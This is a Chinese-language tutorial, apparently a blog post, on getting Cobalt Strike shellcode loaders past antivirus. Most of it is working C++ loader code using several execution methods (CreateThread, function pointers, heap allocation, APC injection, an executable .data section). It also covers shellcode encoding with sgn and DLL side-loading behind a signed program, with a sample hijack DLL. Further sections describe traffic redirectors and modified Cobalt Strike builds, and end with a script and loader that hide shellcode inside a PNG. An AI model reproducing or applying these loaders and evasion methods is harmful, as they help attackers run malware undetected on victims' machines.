首先我们看一个最基础的c++shellcode加载器
//1.申请内存
//2.copy shellcode到内存
//3.执行内存中的shellcode
#include <windows.h> //windows.h头文件包含了Windows API的函数和数据类型
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//main函数是程序的入口点
void main() {
/* length: 893 bytes */
unsigned char buf[] = "\xfc\x48";
//1.申请内存
LPVOID addr=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );//1参数是内存区域首选基地址,NULL表示系统选择地址,2参数指定内存区域的大小,3参数指定内存分配类型,4参数指定内存保护属性
//2.copy shellcode到内存
memcpy(addr, buf, sizeof(buf));//1参数是目标内存地址,2参数是源内存地址,3参数是要复制的字节数
//3.执行内存中的shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL); //创建一个线程来执行shellcode 3参数是线程的起始地址,指针指向那个参数
//等待线程执行完毕
WaitForSingleObject(hThread,-1);
//关闭线程句柄
CloseHandle(hThread); //关闭线程句柄,释放资源
//free(addr); //释放内存
}
步骤分别为
申请内存
把shellcode copy到内存中
执行shellcode(包含最后释放内存,当然使用有些方式执行不需要写释放语句也会自动释放)
1.静态查杀
从代码里面看
函数
杀软会反编译/查看exe中字符串的方式查看代码,可以看到里面的一些函数和汇编代码
VirtualAlloc,RtlMemory,CreateThread,HeapAlloc之类的
shellcode
杀软会查看识别shellcode的特征,最经典的就是fc48
文件名 hash
比如默认叫beacon.exe,360就会给干掉,哪怕是个helloworld
加密
有加壳,加解密行为
数字签名
自己写的都是查不到的
资源文件
软件图标信息,产品名称之类的
动态查杀
网络
回连的流量特征,vps被标记成cs远控,还有通信流量特征,比如cs的通信流量会有混淆加密,如有些杀软会识别这是cs流量于是就会干掉
内存相关
内存相关属性,rwx,不正常的进程链
基本的绕过思路
应对静态查杀
对于代码
函数
使用不同函数来规避,改变申请内存,copy内存,执行内存shellcode使用的函数和方式实现绕过,同时补充,使用不同语言编译的效果不同,有些语言在编译时本身就会用到一些敏感函数,使用不同的编译参数效果也不同,因此可以尝试使用不同语言编译,编译参数fuzz达到免杀。
有些使用不同的函数就是不同的加载方式,也可以达到免杀。
这里举几个方式并且附上对比:
VirtualAlloc可以换成virtualprotect函数并且使用指针执行(指针执行不一定是必杀的)
VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE )
void main() {
DWORD oldProtect = 0;
// 修改数据内存属性为可执行
VirtualProtect(sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect);
// 把这个内存的数据转成指针函数, 函数()调用 , 执行shellcode代码
((void(*)()) & sc)();
}
通过堆加载,使用HeapCreate执行,而非CreateThread
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
// 创建一个具有执行权限的堆,以存储shellcode
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(sc), 0);
// 在创建的堆中分配一块内存,并将其地址赋给buffer
char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(sc));
APC注入(异步执行)
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL); //创建一个线程来执行shellcode 3参数是线程的起始地址,指针指向那个参数
//等待线程执行完毕
WaitForSingleObject(hThread,-1);
//关闭线程句柄
CloseHandle(hThread); //关闭线程句柄,释放资源
//free(addr); //释放内存
typedef DWORD(WINAPI* pNtTestAlert)();
void main() {
// 修改 shellcode 所在内存区域的保护属性,允许执行
DWORD oldProtect;
VirtualProtect((LPVOID)sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect);
/*
获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用
这个函数用于检查当前线程的 APC(Asynchronous Procedure Call,异步过程调用)队列,如
果队列中有挂起的用户模式 APC 请求,NtTestAlert 将触发它们的执行
*/
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"),
"NtTestAlert"));
// 向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务
QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)sc, GetCurrentThread(),
NULL);
//调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode)
NtTestAlert();
}
修改data段属性(之前申请可读可执行内存还需要调用api,直接写在data段就不用了)
#include <windows.h> //windows.h头文件包含了Windows API的函数和数据类型
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
#include <windows.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗
#pragma comment(linker, "/section:.data,RWE")//设置 data段可读可写可执行
//全局变量在 data段
unsigned char sc[] = "\xfc\x48\x83";
int main() {
((void(*)()) & sc)();
}
对于shellcode
通过不同的加密,编码方式实现特征消除,推荐使用sgn,当然也有别的,比如base64加解密,aes加解密,异或加密等等
https://github.com/EgeBalci/sgn
命令:-a是位数,-c是编码次数 后面的是生成文件名和使用的文件
sgn -a 64 -c 1 pd.bin payload.bin
对于数字签名
可以通过白加黑dll来伪造有效的签名
这里推荐工具SkyShadow
https://github.com/Librafeng/SkyShadow
python3 SkyShadow.py 路径,生成的payload目录里带有数字签名的
1.运行exe提示只缺少一个dll的就是所需要的,看一下dll名称,比如运行报错找不到xxx.dll,后面写dll的时候在payload目录下要和之前报错的名称相同。
2.打开txt根据提示制作dll文件于当前文件夹,然后运行再次查看报错
3.发现调用了这个函数
/ dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <iostream>
#include <stdint.h>
extern "C" __declspec(dllexport) int GetInstallDetailsPayload() {
return 0;
}
extern "C" __declspec(dllexport) int SignalInitializeCrashReporting() {
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
4.然后直接修改函数内容改为调用执行我们的shellcode即可
/ dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <iostream>
#include <stdint.h>
extern "C" __declspec(dllexport) int GetInstallDetailsPayload() {
unsigned char sc[] =
"\xfc\x48";
LPVOID addr = VirtualAlloc(0, sizeof(sc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(addr, sc, sizeof(sc));
((void(*)())addr)();
return 0;
}
extern "C" __declspec(dllexport) int SignalInitializeCrashReporting() {
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
大功告成,黑dll编写完毕,白程序怎么找,那就要到应用市场了,下载一堆,然后通通拉过来挖掘
应对动态查杀
网络
cs服务器不用了就关,使用代理,通信流量不加密(有些杀软看到加密才杀),可以通过配置profile文件,使用代理工具实现·,网上二开版本的cs流量特征也不一样,可以用以下,比如猫猫版坤坤版
反向代理使用工具:redguard 参考说明
https://github.com/wikiZ/RedGuard
坤坤版cs挺好用的,链接
https://github.com/D13Xian/CobaltStrike-KunKun
内存相关
有阶段执行更改为无阶段(与服务器回连这个过程是不可控的,使用无阶段上线可以免去这一步),加载方式修改,线程协程执行,还有sleep时间延长,分段加载等
比如图片加载
python脚本插入shellcode
def main(shell_code, file_name="a.png"):
# 打开a.png
with open(file_name, mode="rb") as f:
data = f.read()
print("shell_code 起始位置为:", len(data))
with open("a_new.png", mode="wb") as f:
f.write(data+shell_code)
print("shell_code 插入成功")
if __name__ == '__main__':
data = b"shellcode"
main(data)
include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗
int main() {
FILE* file = fopen("a_new.png", "rb");
if (!file) {
perror("Error opening file");
return 1;
}
// 获取文件大小
fseek(file, 0, SEEK_END);
long size = ftell(file);
fseek(file, 1101128, SEEK_SET); // 重新设置文件指针到起始位置
// 读取内容
char* content = (char*)malloc(size);
if (!content) {
perror("Error allocating memory");
fclose(file);
return 1;
}
fread(content, 1, size, file);
fclose(file);
// 申请内存
LPVOID p = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (p == NULL) {
DWORD error = GetLastError();
fprintf(stderr, "Error allocating memory. GetLastError: %lu\n", error);
free(content);
return 1;
}
// 复制 shellcode 进申请的内存中
memcpy(p, content, size);
// 创建线程
HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)p, NULL, 0, NULL);
if (h == NULL) {
fprintf(stderr, "Error creating thread\n");
free(content);
return 1;
}
// 等待线程完成
WaitForSingleObject(h, INFINITE);
// 释放内存
VirtualFree(p, 0, MEM_RELEASE);
free(content);
return 0;
}